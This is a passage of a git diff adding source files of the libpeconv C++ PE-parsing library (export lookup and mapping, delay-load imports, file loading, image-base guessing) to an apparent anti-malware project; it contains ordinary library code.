IMAGE_DELAYLOAD_DESCRIPTOR *first_desc = get_delayed_imps(modulePtr, module_size, table_size); + if (!first_desc) { + return false; + } +#ifdef _DEBUG + std::cout << "OK, table_size = " << table_size << std::endl; +#endif + size_t max_count = table_size / sizeof(IMAGE_DELAYLOAD_DESCRIPTOR); + for (size_t i = 0; i < max_count; i++) { + IMAGE_DELAYLOAD_DESCRIPTOR *desc = &first_desc[i]; + if (!validate_ptr(modulePtr, module_size, desc, sizeof(IMAGE_DELAYLOAD_DESCRIPTOR))) break; + if (desc->DllNameRVA == NULL) { + break; + } + ULONGLONG dll_name_rva = desc->DllNameRVA; + if (dll_name_rva > moduleBase) { + dll_name_rva -= moduleBase; + } + char* dll_name = (char*)((ULONGLONG) modulePtr + dll_name_rva); + if (!validate_ptr(modulePtr, module_size, dll_name, sizeof(char))) continue; +#ifdef _DEBUG + std::cout << dll_name << std::endl; +#endif + if (is_64bit) { +#ifdef _WIN64 + parse_delayed_desc(modulePtr, module_size, moduleBase, dll_name, IMAGE_ORDINAL_FLAG64, desc, func_resolver); +#else + return false; +#endif + } + else { +#ifndef _WIN64 + parse_delayed_desc(modulePtr, module_size, moduleBase, dll_name, IMAGE_ORDINAL_FLAG32, desc, func_resolver); +#else + return false; +#endif + } + } + return true; +} +*/ \ No newline at end of file diff --git a/ai_anti_malware/libpeconv/libpeconv/src/exported_func.cpp b/ai_anti_malware/libpeconv/libpeconv/src/exported_func.cpp new file mode 100644 index 0000000..f425782 --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/src/exported_func.cpp @@ -0,0 +1,176 @@ +#include "peconv/exported_func.h" + +#include +#include +#include +#include + +using namespace peconv; + +std::string peconv::get_dll_shortname(const std::string& str) +{ + std::size_t len = str.length(); + std::size_t found = str.find_last_of("/\\"); + std::size_t ext = str.find_last_of('.'); + if (ext >= len) return ""; + + std::string name = str.substr(found+1, ext - (found+1)); + std::transform(name.begin(), name.end(), name.begin(), tolower); + return name; +} + +size_t peconv::forwarder_name_len(BYTE* fPtr) +{ + // names can be also mangled, i.e. MSVCRT.??0__non_rtti_object@std@@QAE@ABV01@@Z + bool has_dot = false; + size_t len = 0; + while ((*fPtr >= 'a' && *fPtr <= 'z') + || (*fPtr >= 'A' && *fPtr <= 'Z') + || (*fPtr >= '0' && *fPtr <= '9') + || (*fPtr == '.') + || (*fPtr == '_') + || (*fPtr == '#') + || (*fPtr == '@') + || (*fPtr == '?') + || (*fPtr == '-')) + { + if (*fPtr == '.') has_dot = true; + len++; + fPtr++; + } + if (*fPtr == '\0') { + if (!has_dot) { + return 0; //this is not a valid forwarder + } + return len; + } + return 0; +} + +std::string peconv::get_func_name(const std::string& str) +{ + std::size_t len = str.length(); + std::size_t ext = str.find_last_of("."); + if (ext >= len) return ""; + + std::string name = str.substr(ext+1, len - (ext+1)); + return name; +} + +std::string peconv::ordinal_to_string(DWORD func_ordinal) +{ + std::stringstream stream; + stream << "#"; + stream << std::dec << func_ordinal; + return stream.str(); +} + +bool peconv::is_ordinal_string(const std::string& func_name_str) +{ + if (func_name_str.length() < 2) return false; + return (func_name_str[0] == '#'); +} + +DWORD peconv::ordinal_string_to_val(const std::string& func_name_str) +{ + if (!is_ordinal_string(func_name_str)) return 0; + const char* func_name = func_name_str.c_str(); + return atoi(func_name + 1); +} + +std::string peconv::format_dll_func(const std::string& str) +{ + std::string dllName = get_dll_shortname(str); + std::string funcName = get_func_name(str); + if (dllName.length() == 0 || funcName.length() == 0) { + return ""; + } + std::transform(dllName.begin(), dllName.end(), dllName.begin(), tolower); + return dllName + "." + funcName; +} + +ExportedFunc::ExportedFunc(std::string libName, std::string funcName, DWORD funcOrdinal) +{ + this->libName = ExportedFunc::formatName(libName); + this->funcName = funcName; + this->funcOrdinal = funcOrdinal; + this->isByOrdinal = false; +} + +ExportedFunc::ExportedFunc(std::string libName, DWORD funcOrdinal) +{ + this->libName = ExportedFunc::formatName(libName); + this->funcOrdinal = funcOrdinal; + this->isByOrdinal = true; +} + +ExportedFunc::ExportedFunc(const ExportedFunc& other) +{ + this->libName = other.libName; + this->funcName = other.funcName; + this->funcOrdinal = other.funcOrdinal; + this->isByOrdinal = other.isByOrdinal; +} + +ExportedFunc::ExportedFunc(const std::string &forwarderName) +{ + this->libName = get_dll_shortname(forwarderName); + std::string func_name_str = get_func_name(forwarderName); + if (func_name_str.length() < 2) { + this->funcOrdinal = -1; + this->funcName = ""; + this->isByOrdinal = false; +#ifdef _DEBUG + std::cerr << "Invalid function data" << std::endl; +#endif + return; + } + if (is_ordinal_string(func_name_str)) { + // it is an ordinal in a string form, i.e.: "COMBASE.#110" + this->funcOrdinal = peconv::ordinal_string_to_val(func_name_str); + this->isByOrdinal = true; + this->funcName = ""; + //std::cout << "[O] Adding forwarded func: " << forwarderName << " parsed: " << this->toString() << std::endl; + } else { + this->funcName = func_name_str; + this->isByOrdinal = false; + this->funcOrdinal = 0; + //std::cout << "[N] Adding forwarded func:" << this->toString() << std::endl; + } +} + +std::string ExportedFunc::formatName(std::string name) +{ + if (name.length() == 0 || name.length() == 0) { + return ""; + } + std::transform(name.begin(), name.end(), name.begin(), tolower); + return name; +} + +std::string ExportedFunc::toString() const +{ + if (!isValid()) { + return "[Invalid func]"; + } + std::stringstream stream; + stream << this->libName; + stream << "."; + if (!this->isByOrdinal) { + stream << this->funcName; + stream << " "; + } + stream << ordinal_to_string(this->funcOrdinal); + return stream.str(); +} + +std::string ExportedFunc::nameToString() const +{ + if (!isValid()) { + return ""; + } + if (this->isByOrdinal) { + return ordinal_to_string(this->funcOrdinal); + } + return this->funcName; +} diff --git a/ai_anti_malware/libpeconv/libpeconv/src/exports_lookup.cpp b/ai_anti_malware/libpeconv/libpeconv/src/exports_lookup.cpp new file mode 100644 index 0000000..66d01f0 --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/src/exports_lookup.cpp @@ -0,0 +1,193 @@ +#include "peconv/exports_lookup.h" + +#include + +/* +typedef struct _IMAGE_EXPORT_DIRECTORY { + DWORD Characteristics; + DWORD TimeDateStamp; + WORD MajorVersion; + WORD MinorVersion; + DWORD Name; + DWORD Base; + DWORD NumberOfFunctions; + DWORD NumberOfNames; + DWORD AddressOfFunctions; // RVA from base of image + DWORD AddressOfNames; // RVA from base of image + DWORD AddressOfNameOrdinals; // RVA from base of image +} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY; +*/ + +#ifndef TO_LOWERCASE +#define TO_LOWERCASE(c1) c1 = (c1 <= 'Z' && c1 >= 'A') ? c1 = (c1 - 'A') + 'a': c1; +#endif + +bool is_wanted_func(LPSTR curr_name, LPSTR wanted_name) +{ + if (curr_name == NULL || wanted_name == NULL) return false; + + size_t wanted_name_len = strlen(wanted_name); + size_t curr_name_len = strlen(curr_name); + + if (curr_name_len != wanted_name_len) return false; + + for (size_t i = 0; i < wanted_name_len; i++) { + char c1 = curr_name[i]; + char c2 = wanted_name[i]; + TO_LOWERCASE(c1); + TO_LOWERCASE(c2); + if (c1 != c2) return false; + } + return true; +} + +bool is_ordinal(IMAGE_EXPORT_DIRECTORY *exp, LPSTR func_name) +{ + ULONGLONG base = exp->Base; + ULONGLONG max_ord = base + exp->NumberOfFunctions; + ULONGLONG name_ptr_val = (ULONGLONG)func_name; + if (name_ptr_val >= base && name_ptr_val < max_ord) { + return true; + } + return false; +} + +FARPROC get_export_by_ord(PVOID modulePtr, IMAGE_EXPORT_DIRECTORY* exp, DWORD wanted_ordinal) +{ + SIZE_T functCount = exp->NumberOfFunctions; + DWORD funcsListRVA = exp->AddressOfFunctions; + DWORD ordBase = exp->Base; + + //go through names: + for (DWORD i = 0; i < functCount; i++) { + DWORD* funcRVA = (DWORD*)(funcsListRVA + (BYTE*) modulePtr + i * sizeof(DWORD)); + BYTE* fPtr = (BYTE*) modulePtr + (*funcRVA); //pointer to the function + DWORD ordinal = ordBase + i; + if (ordinal == wanted_ordinal) { + if (peconv::forwarder_name_len(fPtr) > 1) { + std::cerr << "[!] Forwarded function: ["<< wanted_ordinal << " -> "<< fPtr << "] cannot be resolved!" << std::endl; + return NULL; // this function is forwarded, cannot be resolved + } + return (FARPROC) fPtr; //return the pointer to the found function + } + } + return NULL; +} + +size_t peconv::get_exported_names(PVOID modulePtr, std::vector &names_list) +{ + IMAGE_EXPORT_DIRECTORY* exp = peconv::get_export_directory((HMODULE) modulePtr); + if (exp == 0) return 0; + + SIZE_T namesCount = exp->NumberOfNames; + DWORD funcNamesListRVA = exp->AddressOfNames; + + //go through names: + SIZE_T i = 0; + for (i = 0; i < namesCount; i++) { + DWORD* nameRVA = (DWORD*)(funcNamesListRVA + (BYTE*) modulePtr + i * sizeof(DWORD)); + + LPSTR name = (LPSTR)(*nameRVA + (BYTE*) modulePtr); + if (IsBadReadPtr(name, 1)) break; // this shoudld not happen. maybe the PE file is corrupt? + + names_list.push_back(name); + } + return i; +} + +//WARNING: doesn't work for the forwarded functions. +FARPROC peconv::get_exported_func(PVOID modulePtr, LPSTR wanted_name) +{ + IMAGE_EXPORT_DIRECTORY* exp = peconv::get_export_directory((HMODULE) modulePtr); + if (exp == NULL) return NULL; + + SIZE_T namesCount = exp->NumberOfNames; + + DWORD funcsListRVA = exp->AddressOfFunctions; + DWORD funcNamesListRVA = exp->AddressOfNames; + DWORD namesOrdsListRVA = exp->AddressOfNameOrdinals; + + if (is_ordinal(exp, wanted_name)) { +#ifdef _DEBUG + std::cerr << "[*] Getting function by ordinal" << std::endl; +#endif + const DWORD ordinal = MASK_TO_DWORD((ULONG_PTR)wanted_name); + return get_export_by_ord(modulePtr, exp, ordinal); + } + if (IsBadReadPtr(wanted_name, 1)) { + std::cerr << "[-] Invalid pointer to the name" << std::endl; + return NULL; + } + + //go through names: + for (SIZE_T i = 0; i < namesCount; i++) { + DWORD* nameRVA = (DWORD*)(funcNamesListRVA + (BYTE*) modulePtr + i * sizeof(DWORD)); + WORD* nameIndex = (WORD*)(namesOrdsListRVA + (BYTE*) modulePtr + i * sizeof(WORD)); + DWORD* funcRVA = (DWORD*)(funcsListRVA + (BYTE*) modulePtr + (*nameIndex) * sizeof(DWORD)); + + LPSTR name = (LPSTR)(*nameRVA + (BYTE*) modulePtr); + BYTE* fPtr = (BYTE*) modulePtr + (*funcRVA); //pointer to the function + + if (!is_wanted_func(name, wanted_name)) { + continue; //this is not the function we are looking for + } + if (forwarder_name_len(fPtr) > 1) { + std::cerr << "[!] Forwarded function: ["<< name << " -> "<< fPtr << "] cannot be resolved!" << std::endl; + return NULL; // this function is forwarded, cannot be resolved + } + return (FARPROC) fPtr; //return the pointer to the found function + } + //function not found + std::cerr << "Function not found!" << std::endl; + return NULL; +} + +FARPROC peconv::export_based_resolver::resolve_func(LPSTR lib_name, LPSTR func_name) +{ + HMODULE libBasePtr = LoadLibraryA(lib_name); + if (libBasePtr == NULL) { + std::cerr << "Could not load the library!" << std::endl; + return NULL; + } + + FARPROC hProc = get_exported_func(libBasePtr, func_name); + + if (hProc == NULL) { +#ifdef _DEBUG + if (!IsBadReadPtr(func_name, 1)) { + std::cerr << "[!] Cound not get the function: "<< func_name <<" from exports!" << std::endl; + } else { + std::cerr << "[!] Cound not get the function: "<< MASK_TO_DWORD((ULONG_PTR)func_name) <<" from exports!" << std::endl; + } + std::cerr << "[!] Falling back to the default resolver..." <Name); + if (IsBadReadPtr(module_name, 1)) { + return NULL; + } + size_t len = peconv::forwarder_name_len((BYTE*) module_name); + if (len > 1) { + return module_name; + } + return NULL; +} diff --git a/ai_anti_malware/libpeconv/libpeconv/src/exports_mapper.cpp b/ai_anti_malware/libpeconv/libpeconv/src/exports_mapper.cpp new file mode 100644 index 0000000..2b38e55 --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/src/exports_mapper.cpp @@ -0,0 +1,269 @@ +#include "peconv/exports_mapper.h" +#include +#include + + +using namespace peconv; + +void ExportsMapper::print_va_to_func(std::stringstream &stream) const +{ + std::map>::const_iterator itr; + + for (itr = va_to_func.begin(); itr != va_to_func.end(); ++itr) { + + stream << std::hex << itr->first << " :\n"; + + std::set::const_iterator itr2; + const std::set &funcs = itr->second; + + for (itr2 = funcs.begin(); itr2 != funcs.end(); ++itr2) { + stream << "\t" << itr2->toString() << "\n"; + } + } +} + +void ExportsMapper::print_func_to_va(std::stringstream &stream) const +{ + std::map::const_iterator itr; + for (itr = func_to_va.begin(); itr != func_to_va.end(); ++itr) { + stream << itr->first.toString() << " : " + << std::hex << itr->second << "\n"; + } +} + +ULONGLONG rebase_va(ULONGLONG va, ULONGLONG currBase, ULONGLONG targetBase) +{ + if (currBase == targetBase) { + return va; + } + ULONGLONG rva = va - (ULONGLONG) currBase; + return rva + targetBase; +} + +size_t ExportsMapper::make_ord_lookup_tables( + PVOID modulePtr, + size_t moduleSize, + std::map &va_to_ord + ) +{ + IMAGE_EXPORT_DIRECTORY* exp = peconv::get_export_directory((HMODULE) modulePtr); + if (exp == NULL) return 0; + + SIZE_T functCount = exp->NumberOfFunctions; + DWORD funcsListRVA = exp->AddressOfFunctions; + DWORD ordBase = exp->Base; + + //go through names: + for (DWORD i = 0; i < functCount; i++) { + DWORD* recordRVA = (DWORD*)(funcsListRVA + (BYTE*) modulePtr + i * sizeof(DWORD)); + if (*recordRVA == 0) { +#ifdef _DEBUG + std::cout << ">>> Skipping 0 function address at RVA:" << std::hex << (BYTE*)recordRVA - (BYTE*)modulePtr<< "(ord)\n"; +#endif + //skip if the function RVA is 0 (empty export) + continue; + } + if (!peconv::validate_ptr(modulePtr, moduleSize, recordRVA, sizeof(DWORD))) { + break; + } + DWORD ordinal = ordBase + i; + va_to_ord[recordRVA] = ordinal; + } + return functCount; +} + +size_t ExportsMapper::resolve_forwarders(const ULONGLONG va, ExportedFunc &currFunc) +{ + size_t resolved = 0; + //resolve forwarders of this function (if any): + std::map>::iterator fItr = forwarders_lookup.find(currFunc); + if (fItr != forwarders_lookup.end()) { + //printf("[+] Forwarders (%d):\n", fItr->second.size()); + std::set::iterator sItr; + for (sItr = fItr->second.begin(); sItr != fItr->second.end(); ++sItr) { + //printf("-> %s\n", sItr->c_str()); + associateVaAndFunc(va, *sItr); + resolved++; + } + } + return resolved; +} + +bool ExportsMapper::add_forwarded(ExportedFunc &currFunc, DWORD callRVA, PBYTE modulePtr, size_t moduleSize) +{ + PBYTE fPtr = modulePtr + callRVA; + if (!peconv::validate_ptr(modulePtr, moduleSize, fPtr, 1)) { + return false; + } + if (peconv::forwarder_name_len(fPtr) < 1) { + return false; //not forwarded + } + std::string forwardedFunc = format_dll_func((char*)fPtr); + if (forwardedFunc.length() == 0) { + return false; //not forwarded + } + + ExportedFunc forwarder(forwardedFunc); + if (!forwarder.isValid()) { +#ifdef _DEBUG + std::cerr << "Skipped invalid forwarder" << std::endl; +#endif + return false; + } + forwarders_lookup[forwarder].insert(currFunc); + + if (func_to_va[forwarder] != 0) { + ULONGLONG va = func_to_va[forwarder]; + associateVaAndFunc(va, currFunc); + } + return true; +} + +DWORD get_ordinal(PDWORD recordPtr, std::map &va_to_ord) +{ + std::map::iterator ord_itr = va_to_ord.find(recordPtr); + if (ord_itr == va_to_ord.end()) { + //ordinal not found + return -1; + } + DWORD ordinal = ord_itr->second; + va_to_ord.erase(ord_itr); + return ordinal; +} + +bool ExportsMapper::add_to_maps(ULONGLONG va, ExportedFunc &currFunc) +{ + associateVaAndFunc(va, currFunc); + resolve_forwarders(va, currFunc); + return true; +} + +bool is_valid_export_table(IMAGE_EXPORT_DIRECTORY* exp, HMODULE modulePtr, const size_t module_size) +{ + if (exp == nullptr) return false; + + const SIZE_T namesCount = exp->NumberOfNames; + const SIZE_T funcCount = exp->NumberOfFunctions; + + const DWORD funcsListRVA = exp->AddressOfFunctions; + const DWORD funcNamesListRVA = exp->AddressOfNames; + const DWORD namesOrdsListRVA = exp->AddressOfNameOrdinals; + + for (DWORD i = 0; i < funcCount; i++) { + DWORD* recordRVA = (DWORD*)(funcsListRVA + (BYTE*)modulePtr + i * sizeof(DWORD)); + if (*recordRVA == 0) { + //skip if the function RVA is 0 (empty export) + continue; + } + if (!peconv::validate_ptr(modulePtr, module_size, recordRVA, sizeof(DWORD))) { + return false; + } + } + + for (SIZE_T i = 0; i < namesCount; i++) { + DWORD* nameRVA = (DWORD*)(funcNamesListRVA + (BYTE*)modulePtr + i * sizeof(DWORD)); + WORD* nameIndex = (WORD*)(namesOrdsListRVA + (BYTE*)modulePtr + i * sizeof(WORD)); + if ((!peconv::validate_ptr(modulePtr, module_size, nameRVA, sizeof(DWORD))) + || (!peconv::validate_ptr(modulePtr, module_size, nameIndex, sizeof(WORD)))) + { + return false; + } + DWORD* funcRVA = (DWORD*)(funcsListRVA + (BYTE*)modulePtr + (*nameIndex) * sizeof(DWORD)); + if (!peconv::validate_ptr(modulePtr, module_size, funcRVA, sizeof(DWORD))) + { + return false; + } + } + return true; +} + +ExportsMapper::ADD_FUNC_RES ExportsMapper::add_function_to_lookup(HMODULE modulePtr, ULONGLONG moduleBase, size_t moduleSize, ExportedFunc &currFunc, DWORD callRVA) +{ + if (add_forwarded(currFunc, callRVA, (BYTE*)modulePtr, moduleSize)) { +#ifdef _DEBUG + char* fPtr = (char*)modulePtr + callRVA; + std::cout << "FWD " << currFunc.toString() << " -> " << fPtr << "\n"; +#endif + return ExportsMapper::RES_FORWARDED; + } + + ULONGLONG callVa = callRVA + moduleBase; + if (!peconv::validate_ptr((BYTE*)moduleBase, moduleSize, (BYTE*)callVa, sizeof(ULONGLONG))) { + // this may happen when the function was forwarded and it is already filled +#ifdef _DEBUG + std::cout << "Validation failed: " << currFunc.toString() << "\n"; +#endif + return ExportsMapper::RES_INVALID; + } + //not forwarded, simple case: + add_to_maps(callVa, currFunc); + return ExportsMapper::RES_MAPPED; +} + +size_t ExportsMapper::add_to_lookup(std::string moduleName, HMODULE modulePtr, ULONGLONG moduleBase) +{ + IMAGE_EXPORT_DIRECTORY* exp = get_export_directory(modulePtr); + if (exp == NULL) { + return 0; + } + size_t module_size = peconv::get_image_size(reinterpret_cast(modulePtr)); + if (!is_valid_export_table(exp, modulePtr, module_size)) { + return 0; + } + std::string dllName = get_dll_shortname(moduleName); + this->dll_shortname_to_path[dllName] = moduleName; + + std::map va_to_ord; + size_t functCount = make_ord_lookup_tables(modulePtr, module_size, va_to_ord); + + //go through names: + + size_t forwarded_ctr = 0; + SIZE_T namesCount = exp->NumberOfNames; + + DWORD funcsListRVA = exp->AddressOfFunctions; + DWORD funcNamesListRVA = exp->AddressOfNames; + DWORD namesOrdsListRVA = exp->AddressOfNameOrdinals; + + size_t mapped_ctr = 0; + + for (SIZE_T i = 0; i < namesCount; i++) { + DWORD* nameRVA = (DWORD*)(funcNamesListRVA + (BYTE*) modulePtr + i * sizeof(DWORD)); + WORD* nameIndex = (WORD*)(namesOrdsListRVA + (BYTE*) modulePtr + i * sizeof(WORD)); + DWORD* funcRVA = (DWORD*)(funcsListRVA + (BYTE*) modulePtr + (*nameIndex) * sizeof(DWORD)); + if (*funcRVA == 0) { +#ifdef _DEBUG + std::cout << ">>> Skipping 0 function address at RVA:" << std::hex << (BYTE*)funcRVA - (BYTE*)modulePtr << "(name)\n"; +#endif + //skip if the function RVA is 0 (empty export) + continue; + } + + LPSTR name = (LPSTR)(*nameRVA + (BYTE*) modulePtr); + if (!peconv::validate_ptr(modulePtr, module_size, name, sizeof(char))) break; + + DWORD funcOrd = get_ordinal(funcRVA, va_to_ord); + DWORD callRVA = *funcRVA; + ExportedFunc currFunc(dllName, name, funcOrd); + + int res = add_function_to_lookup(modulePtr, moduleBase, module_size, currFunc, callRVA); + if (res == ExportsMapper::RES_FORWARDED) forwarded_ctr++; + if (res == ExportsMapper::RES_MAPPED) mapped_ctr++; + } + //go through unnamed functions exported by ordinals: + std::map::iterator ord_itr = va_to_ord.begin(); + for (;ord_itr != va_to_ord.end(); ++ord_itr) { + + DWORD* funcRVA = ord_itr->first; + DWORD callRVA = *funcRVA; + ExportedFunc currFunc(dllName, ord_itr->second); + + int res = add_function_to_lookup(modulePtr, moduleBase, module_size, currFunc, callRVA); + if (res == ExportsMapper::RES_FORWARDED) forwarded_ctr++; + if (res == ExportsMapper::RES_MAPPED) mapped_ctr++; + } +#ifdef _DEBUG + std::cout << "Finished exports parsing, mapped: "<< mapped_ctr << " forwarded: " << forwarded_ctr << std::endl; +#endif + return mapped_ctr; +} diff --git a/ai_anti_malware/libpeconv/libpeconv/src/file_util.cpp b/ai_anti_malware/libpeconv/libpeconv/src/file_util.cpp new file mode 100644 index 0000000..68aecca --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/src/file_util.cpp @@ -0,0 +1,147 @@ +#include "peconv/file_util.h" +#include "peconv/buffer_util.h" + +#include +#ifdef _DEBUG + #include +#endif + +//load file content using MapViewOfFile +peconv::ALIGNED_BUF peconv::load_file(IN const char *filename, OUT size_t &read_size) +{ + HANDLE file = CreateFileA(filename, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); + if(file == INVALID_HANDLE_VALUE) { +#ifdef _DEBUG + std::cerr << "Could not open file!" << std::endl; +#endif + return nullptr; + } + HANDLE mapping = CreateFileMapping(file, 0, PAGE_READONLY, 0, 0, 0); + if (!mapping) { +#ifdef _DEBUG + std::cerr << "Could not create mapping!" << std::endl; +#endif + CloseHandle(file); + return nullptr; + } + BYTE *dllRawData = (BYTE*) MapViewOfFile(mapping, FILE_MAP_READ, 0, 0, 0); + if (!dllRawData) { +#ifdef _DEBUG + std::cerr << "Could not map view of file" << std::endl; +#endif + CloseHandle(mapping); + CloseHandle(file); + return nullptr; + } + size_t r_size = GetFileSize(file, 0); + if (read_size != 0 && read_size <= r_size) { + r_size = read_size; + } + if (IsBadReadPtr(dllRawData, r_size)) { + std::cerr << "[-] Mapping of " << filename << " is invalid!" << std::endl; + UnmapViewOfFile(dllRawData); + CloseHandle(mapping); + CloseHandle(file); + return nullptr; + } + peconv::ALIGNED_BUF localCopyAddress = peconv::alloc_aligned(r_size, PAGE_READWRITE); + if (localCopyAddress != nullptr) { + memcpy(localCopyAddress, dllRawData, r_size); + read_size = r_size; + } else { + read_size = 0; +#ifdef _DEBUG + std::cerr << "Could not allocate memory in the current process" << std::endl; +#endif + } + UnmapViewOfFile(dllRawData); + CloseHandle(mapping); + CloseHandle(file); + return localCopyAddress; +} + +//load file content using ReadFile +peconv::ALIGNED_BUF peconv::read_from_file(IN const char *in_path, IN OUT size_t &read_size) +{ + HANDLE file = CreateFileA(in_path, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); + if (file == INVALID_HANDLE_VALUE) { +#ifdef _DEBUG + std::cerr << "Cannot open the file for reading!" << std::endl; +#endif + return nullptr; + } + size_t r_size = static_cast(GetFileSize(file, 0)); + if (read_size != 0 && read_size <= r_size) { + r_size = read_size; + } + PBYTE buffer = peconv::alloc_pe_buffer(r_size, PAGE_READWRITE); + if (buffer == nullptr) { +#ifdef _DEBUG + std::cerr << "Allocation has failed!" << std::endl; +#endif + return nullptr; + } + DWORD out_size = 0; + if (!ReadFile(file, buffer, r_size, &out_size, nullptr)) { +#ifdef _DEBUG + std::cerr << "Reading failed!" << std::endl; +#endif + peconv::free_pe_buffer(buffer, r_size); + buffer = nullptr; + read_size = 0; + } else { + read_size = r_size; + } + CloseHandle(file); + return buffer; +} + +//save the given buffer into a file +bool peconv::dump_to_file(IN const char *out_path, IN PBYTE dump_data, IN size_t dump_size) +{ + if (!out_path || !dump_data || !dump_size) return false; + + HANDLE file = CreateFileA(out_path, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); + if (file == INVALID_HANDLE_VALUE) { +#ifdef _DEBUG + std::cerr << "Cannot open the file for writing!" << std::endl; +#endif + return false; + } + DWORD written_size = 0; + bool is_dumped = false; + if (WriteFile(file, dump_data, (DWORD) dump_size, &written_size, nullptr)) { + is_dumped = true; + } +#ifdef _DEBUG + else { + std::cerr << "Failed to write to the file : " << out_path << std::endl; + } +#endif + CloseHandle(file); + return is_dumped; +} + +//free the buffer allocated by load_file/read_from_file +void peconv::free_file(IN peconv::ALIGNED_BUF buffer) +{ + peconv::free_aligned(buffer); +} + +std::string peconv::get_file_name(IN const std::string str) +{ + size_t found = str.find_last_of("/\\"); + if (found == std::string::npos) { + return str; + } + return str.substr(found + 1); +} + +std::string peconv::get_directory_name(IN const std::string str) +{ + size_t found = str.find_last_of("/\\"); + if (found == std::string::npos) { + return ""; + } + return str.substr(0, found); +} diff --git a/ai_anti_malware/libpeconv/libpeconv/src/find_base.cpp b/ai_anti_malware/libpeconv/libpeconv/src/find_base.cpp new file mode 100644 index 0000000..3dad3a0 --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/src/find_base.cpp @@ -0,0 +1,125 @@ +#include +#include +#include +#include +#include +#include + +namespace peconv { + + class CollectCodeRelocs : public RelocBlockCallback + { + public: + CollectCodeRelocs(BYTE *pe_buffer, size_t buffer_size, IN bool _is64bit, OUT std::set &_relocs) + : RelocBlockCallback(_is64bit), relocs(_relocs), + peBuffer(pe_buffer), bufferSize(buffer_size) + { + codeSec = getCodeSection(peBuffer, bufferSize); + } + + virtual bool processRelocField(ULONG_PTR relocField) + { + if (!codeSec) return false; + + ULONGLONG reloc_addr = (relocField - (ULONGLONG)peBuffer); + const bool is_in_code = (reloc_addr >= codeSec->VirtualAddress) && (reloc_addr < codeSec->Misc.VirtualSize); + if (!is64bit && !is_in_code) { + // in case of 32 bit PEs process only the relocations form the code section + return true; + } + ULONGLONG rva = 0; + if (is64bit) { + ULONGLONG* relocateAddr = (ULONGLONG*)((ULONG_PTR)relocField); + rva = (*relocateAddr); + //std::cout << std::hex << (relocField - (ULONGLONG)peBuffer) << " : " << rva << std::endl; + } + else { + DWORD* relocateAddr = (DWORD*)((ULONG_PTR)relocField); + rva = ULONGLONG(*relocateAddr); + //std::cout << std::hex << (relocField - (ULONGLONG)peBuffer) << " : " << rva << std::endl; + } + relocs.insert(rva); + return true; + } + + static PIMAGE_SECTION_HEADER getCodeSection(BYTE *peBuffer, size_t bufferSize) + { + size_t sec_count = peconv::get_sections_count(peBuffer, bufferSize); + for (size_t i = 0; i < sec_count; i++) { + PIMAGE_SECTION_HEADER hdr = peconv::get_section_hdr(peBuffer, bufferSize, i); + if (!hdr) break; + if (hdr->VirtualAddress == 0 || hdr->SizeOfRawData == 0) { + continue; + } + if (hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) { + return hdr; + } + } + return nullptr; + } + + protected: + std::set &relocs; + PIMAGE_SECTION_HEADER codeSec; + + BYTE *peBuffer; + size_t bufferSize; + }; +} + +ULONGLONG peconv::find_base_candidate(IN BYTE* modulePtr, IN size_t moduleSize) +{ + if (moduleSize == 0) { + moduleSize = peconv::get_image_size((const BYTE*)modulePtr); + } + if (moduleSize == 0) return 0; + + bool is64 = peconv::is64bit(modulePtr); + std::set relocs; + peconv::CollectCodeRelocs callback(modulePtr, moduleSize, is64, relocs); + if (!peconv::process_relocation_table(modulePtr, moduleSize, &callback)) { + return 0; + } + if (relocs.size() == 0) { + return 0; + } + + PIMAGE_SECTION_HEADER hdr = peconv::CollectCodeRelocs::getCodeSection(modulePtr, moduleSize); + if (!hdr) { + return 0; + } + const ULONGLONG mask = ~ULONGLONG(0xFFFF); + std::mapbase_candidates; + + std::set::iterator itr = relocs.begin(); + + for (itr = relocs.begin(); itr != relocs.end(); ++itr) { + const ULONGLONG guessed_base = (*itr) & mask; + std::map::iterator found = base_candidates.find(guessed_base); + if (found == base_candidates.end()) { + base_candidates[guessed_base] = 0; + } + base_candidates[guessed_base]++; + } + ULONGLONG most_freqent = 0; + size_t max_freq = 0; + std::map::iterator mapItr; + for (mapItr = base_candidates.begin(); mapItr != base_candidates.end(); ++mapItr) { + if (mapItr->second >= max_freq) { + most_freqent = mapItr->first; + max_freq = mapItr->second; + } + } + for (itr = relocs.begin(); itr != relocs.end(); ++itr) { + ULONGLONG first = *itr; + ULONGLONG first_base = first & mask; + if (first_base > most_freqent) { + break; + } + ULONGLONG delta = most_freqent - first_base; + if (delta < moduleSize) { + return first_base; + } + } + return 0; +} diff --git a/ai_anti_malware/libpeconv/libpeconv/src/fix_dot_net_ep.cpp b/ai_anti_malware/libpeconv/libpeconv/src/fix_dot_net_ep.cpp new file mode 100644 index 0000000..26054e2 --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/src/fix_dot_net_ep.cpp @@ -0,0 +1,144 @@ +#include "fix_dot_net_ep.h" +#include + +#include +#include + +class ListImportNames : public peconv::ImportThunksCallback +{ +public: + ListImportNames(BYTE* _modulePtr, size_t _moduleSize, std::map &name_to_addr) + : ImportThunksCallback(_modulePtr, _moduleSize), nameToAddr(name_to_addr) + { + } + + virtual bool processThunks(LPSTR lib_name, ULONG_PTR origFirstThunkPtr, ULONG_PTR firstThunkPtr) + { + if (this->is64b) { + IMAGE_THUNK_DATA64* desc = reinterpret_cast(origFirstThunkPtr); + ULONGLONG* call_via = reinterpret_cast(firstThunkPtr); + return processThunks_tpl(lib_name, desc, call_via, IMAGE_ORDINAL_FLAG64); + } + IMAGE_THUNK_DATA32* desc = reinterpret_cast(origFirstThunkPtr); + DWORD* call_via = reinterpret_cast(firstThunkPtr); + return processThunks_tpl(lib_name, desc, call_via, IMAGE_ORDINAL_FLAG32); + } + +protected: + template + bool processThunks_tpl(LPSTR lib_name, T_IMAGE_THUNK_DATA* desc, T_FIELD* call_via, T_FIELD ordinal_flag) + { + DWORD call_via_rva = 